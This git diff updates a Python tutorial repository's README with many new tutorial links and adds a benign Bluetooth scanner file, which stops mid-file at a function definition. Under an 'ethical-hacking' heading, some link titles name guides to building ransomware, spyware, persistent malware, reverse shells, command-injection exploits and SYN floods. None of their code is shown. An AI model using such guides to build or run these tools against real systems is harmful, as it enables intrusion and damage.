diff --git a/README.md b/README.md
index d44535cf..ddf5f25d 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,13 @@
-![alt text](images/python_logo.ico) 
+<p align="center">
+  <a href="https://codingfleet.com/code-generator/python/?utm_source=github-repo&utm_medium=banner-2">
+    <img src="https://github.com/images/codingfleet-banner-2.png" alt="CodingFleet Code Generator" width="350" height="350">
+  </a><a href="https://codingfleet.com/code-converter/python/?utm_source=github-repo&utm_medium=banner-3">
+    <img src="https://github.com/images/codingfleet-banner-3.png" alt="CodingFleet Code Converter" width="350" height="350">
+  </a>
+</p>
+
+
+
 # Python Code Tutorials
 This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website.
 ## List of Tutorials
@@ -16,6 +25,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
         - [How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner))
         - [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood))
         - [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/))
+        - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer))
+        - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis))
+        - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets))
     - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))
     - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))
     - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell))
@@ -40,6 +52,36 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python). ([code](ethical-hacking/ransomware))
     - [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python). ([code](ethical-hacking/dns-enumeration))
     - [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses))
+    - [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker))
+    - [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker))
+    - [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser))
+    - [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python). ([code](ethical-hacking/password-manager))
+    - [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python). ([code](ethical-hacking/listing-wifi-networks))
+    - [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python). ([code](ethical-hacking/verify-file-integrity))
+    - [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python). ([code](ethical-hacking/zip-file-locker))
+    - [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher))
+    - [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher))
+    - [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python). [(code)](ethical-hacking/pdf-locker)
+    - [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python). ([code](ethical-hacking/bruteforce-wordlist-generator))
+    - [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python). ([code](ethical-hacking/implement-affine-cipher))
+    - [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python). ([code](ethical-hacking/crack-affine-cipher))
+    - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher))
+    - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator))
+    - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner))
+    - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb))
+    - [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python). ([code](ethical-hacking/implement-2fa))
+    - [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python). ([code](ethical-hacking/username-finder))
+    - [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows))
+    - [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover))
+    - [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor))
+    - [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware))
+    - [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection))
+    - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware))
+    - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware))
+    - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength))
+    - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup))
+    - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner))
+    - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/))
 
 - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
     - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
@@ -58,6 +100,11 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
         - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification))
         - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition))
         - [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python). ([code](machine-learning/nlp/tokenization-stemming-lemmatization))
+        - [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python). ([code](machine-learning/nlp/semantic-textual-similarity))
+        - [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python). ([code](machine-learning/nlp/bleu-score))
+        - [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score))
+        - [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score))
+        - [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering))
     - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision)
         - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection))
         - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier))
@@ -79,6 +126,17 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
         - [Age and Gender Detection using OpenCV in Python](https://www.thepythoncode.com/article/gender-and-age-detection-using-opencv-python). ([code](machine-learning/age-and-gender-detection))
         - [Satellite Image Classification using TensorFlow in Python](https://www.thepythoncode.com/article/satellite-image-classification-using-tensorflow-python). ([code](machine-learning/satellite-image-classification))
         - [How to Perform Image Segmentation using Transformers in Python](https://www.thepythoncode.com/article/image-segmentation-using-huggingface-transformers-python). ([code](machine-learning/image-segmentation-transformers))
+        - [How to Fine Tune ViT for Image Classification using Huggingface Transformers in Python](https://www.thepythoncode.com/article/finetune-vit-for-image-classification-using-transformers-in-python). ([code](machine-learning/finetuning-vit-image-classification))
+        - [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python). ([code](machine-learning/stable-diffusion-models))
+        - [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python). ([code](machine-learning/depth2image-stable-diffusion))
+        - [Real-time Object Tracking with OpenCV and YOLOv8 in Python](https://www.thepythoncode.com/article/real-time-object-tracking-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Object-Tracking-with-DeepSORT-and-YOLOv8))
+        - [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface). ([code](machine-learning/control-image-generation-with-controlnet))
+        - [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface). ([code](machine-learning/edit-images-instruct-pix2pix))
+        - [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface). ([code](machine-learning/stable-diffusion-upscaler))
+        - [Real-Time Vehicle Detection, Tracking and Counting in Python](https://thepythoncode.com/article/real-time-vehicle-tracking-and-counting-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Vehicle-Detection-Tracking-and-Counting-in-Python/))
+        - [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python). ([code](machine-learning/cartoonify-images))
+        - [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python). ([code](machine-learning/facial-recognition-system))
+        - [Non-Maximum Suppression with OpenCV and Python](https://thepythoncode.com/article/non-maximum-suppression-using-opencv-in-python). ([code](https://github.com/Rouizi/Non-Maximum-Suppression-with-OpenCV-and-Python))
     - [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition))
     - [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python). ([code](machine-learning/speech-recognition))
     - [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists).
@@ -103,6 +161,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders))
     - [Exploring the Different Types of Clustering Algorithms in Machine Learning with Python](https://www.thepythoncode.com/article/clustering-algorithms-in-machine-learning-with-python). ([code](machine-learning/clustering-algorithms))
     - [Image Captioning using PyTorch and Transformers](https://www.thepythoncode.com/article/image-captioning-with-pytorch-and-transformers-in-python). ([code](machine-learning/image-captioning))
+    - [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python). ([code](machine-learning/asr))
 
 - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics)
     - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot))
@@ -122,13 +181,13 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game))
     - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage))
     - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer))
-    - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game))
     - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve))
     - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/))
     - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map))
     - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum))
     - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas))
     - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css))
+    - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager))
 
     
     
@@ -151,6 +210,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data))
     - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader))
     - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader))
+    - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/))
 
 - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library)
     - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/))
@@ -174,6 +234,10 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python). ([code](python-standard-library/split-string))
     - [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python). ([code](python-standard-library/print-variable-name-and-value))
     - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game))
+    - [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse))
+    - [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone))
+    - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation))
+    - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy))
 
 - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python)
     - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management))
@@ -189,6 +253,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api))
     - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook))
     - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector))
+    - [How to Build a Twitter (X) Bot in Python](https://thepythoncode.com/article/make-a-twitter-bot-in-python). ([code](https://github.com/menard-codes/dog-fact-tweeter-bot))
 
 - ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python)
     - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector))
@@ -229,6 +294,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python). ([code](python-for-multimedia/record-specific-window))
     - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video))
     - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image))
+    - [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images))
+    - [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images))
+    - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files))
 
 - ### [Web Programming](https://www.thepythoncode.com/topic/web-programming)
     - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions))
@@ -243,15 +311,18 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python). ([code](web-programming/webbased-emailverifier))
     - [How to Build a Web Assistant Using Django and OpenAI GPT-3.5 API in Python](https://www.thepythoncode.com/article/web-assistant-django-with-gpt3-api-python). ([code](web-programming/webassistant))
     - [How to Make an Accounting App with Django in Python](https://www.thepythoncode.com/article/make-an-accounting-app-with-django-in-python). ([code](web-programming/accounting-app))
+    - [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python). ([code](web-programming/news_project))
+    - [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python). ([code](web-programming/restful-api-flask))
+    - [How to Build a GraphQL API in Python](https://www.thepythoncode.com/article/build-a-graphql-api-with-fastapi-strawberry-and-postgres-python). ([code](https://github.com/menard-codes/PythonGQLArticle))
+    - [How to Build a Chat App using Flask in Python](https://thepythoncode.com/article/how-to-build-a-chat-app-in-python-using-flask-and-flasksocketio). ([code](https://github.com/menard-codes/FlaskChatApp))
+    - [How to Build a Full-Stack Web App in Python using FastAPI and React.js](https://thepythoncode.com/article/fullstack-notes-app-with-fastapi-and-reactjs) ([Backend](https://github.com/menard-codes/NotesAppBackend-FastAPI-React), [Frontend](https://github.com/menard-codes/NotesAppFrontend-FastAPI-React))
 
 - ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming)
     - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor))
     - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame))
-    - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame))
     - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer))
     - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app))
     - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester))
-    - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator))
     - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor))
     - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/))
     - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app))
@@ -261,9 +332,35 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator))
     - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app))
     - [How to Build a GUI Voice Recorder App in Python](https://www.thepythoncode.com/article/make-a-gui-voice-recorder-python). ([code](gui-programming/voice-recorder-app))
-    - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game))
     - [How to Build a GUI QR Code Generator and Detector Using Python](https://www.thepythoncode.com/article/make-a-qr-code-generator-and-reader-tkinter-python). ([code](gui-programming/qrcode-generator-reader-gui))
     - [How to Build a GUI Dictionary App with Tkinter in Python](https://www.thepythoncode.com/article/make-a-gui-audio-dictionary-python). ([code](gui-programming/word-dictionary-with-audio))
     - [How to Make a Real-Time GUI Spelling Checker in Python](https://www.thepythoncode.com/article/make-a-realtime-spelling-checker-gui-python). ([code](gui-programming/realtime-spelling-checker))
+    - [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python). ([code](gui-programming/gui-language-translator))
+    - [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python). ([code](gui-programming/image-editor))
+    - [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python). ([code](gui-programming/crud-app-pyqt5))
+    
+- ### [Game Development](https://www.thepythoncode.com/topic/game-development)
+    - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame))
+    - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame))
+    - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator))
+    - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game))
+    - [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python). ([code](gui-programming/hangman-game-gui))
+    - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game))
+    - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game))
+    - [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python). ([code](gui-programming/tetris-game))
+    - [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python). ([code](gui-programming/tictactoe-game))
+    - [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python). ([code](gui-programming/checkers-game))
+    - [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python). ([code](gui-programming/snake-game))
+    - [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python). ([code](gui-programming/slide-puzzle))
+    - [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python). ([code](gui-programming/maze-game))
+    - [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python). ([code](gui-programming/platformer-game))
+    - [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python). ([code](gui-programming/flappy-bird-game))
+    - [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python). ([code](gui-programming/pong-game))
+    - [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game))
+    - [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game))
+    - [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game))
+    - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games))
+    - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame))
+
 
 For any feedback, please consider pulling requests.
diff --git a/ethical-hacking/bluetooth-scanner/README.md b/ethical-hacking/bluetooth-scanner/README.md
new file mode 100644
index 00000000..c8b19deb
--- /dev/null
+++ b/ethical-hacking/bluetooth-scanner/README.md
@@ -0,0 +1 @@
+# [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py
new file mode 100644
index 00000000..2945c767
--- /dev/null
+++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py
@@ -0,0 +1,85 @@
+import bluetooth
+
+# Major and Minor Device Class definitions based on Bluetooth specifications
+MAJOR_CLASSES = {
+    0: "Miscellaneous",
+    1: "Computer",
+    2: "Phone",
+    3: "LAN/Network Access",
+    4: "Audio/Video",
+    5: "Peripheral",
+    6: "Imaging",
+    7: "Wearable",
+    8: "Toy",
+    9: "Health",
+    10: "Uncategorized"
+}
+
+MINOR_CLASSES = {
+    # Computer Major Class
+    (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation",
+    (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA",
+    (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer",
+    # Phone Major Class
+    (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless",
+    (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway",
+    (2, 5): "Common ISDN Access",
+    # LAN/Network Access Major Class
+    (3, 0): "Fully available", (3, 1): "1% to 17% utilized",
+    (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized",
+    (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized",
+    (3, 6): "83% to 99% utilized", (3, 7): "No service available",
+    # Audio/Video Major Class
+    (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device",
+    (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio",
+    (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device",
+    (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder",
+    (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker",
+    (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy",
+    # Peripheral Major Class
+    (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard",
+    (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device",
+    # Imaging Major Class
+    (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer",
+    # Wearable Major Class
+    (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket",
+    (7, 3): "Helmet", (7, 4): "Glasses",
+    # Toy Major Class
+    (8, 0): "Robot", (8, 1): "Vehicle",
+    (8, 2): "Doll / Action figure",
+    (8, 3): "Controller", (8, 4): "Game",
+    # Health Major Class
+    (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor",
+    (9, 2): "Thermometer", (9, 3): "Weighing Scale",
+    (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter",
+    (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display",
+    (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer",
+    (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor",
+    (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis",
+    # More specific definitions can be added if needed
+}
+
+def parse_device_class(device_class):
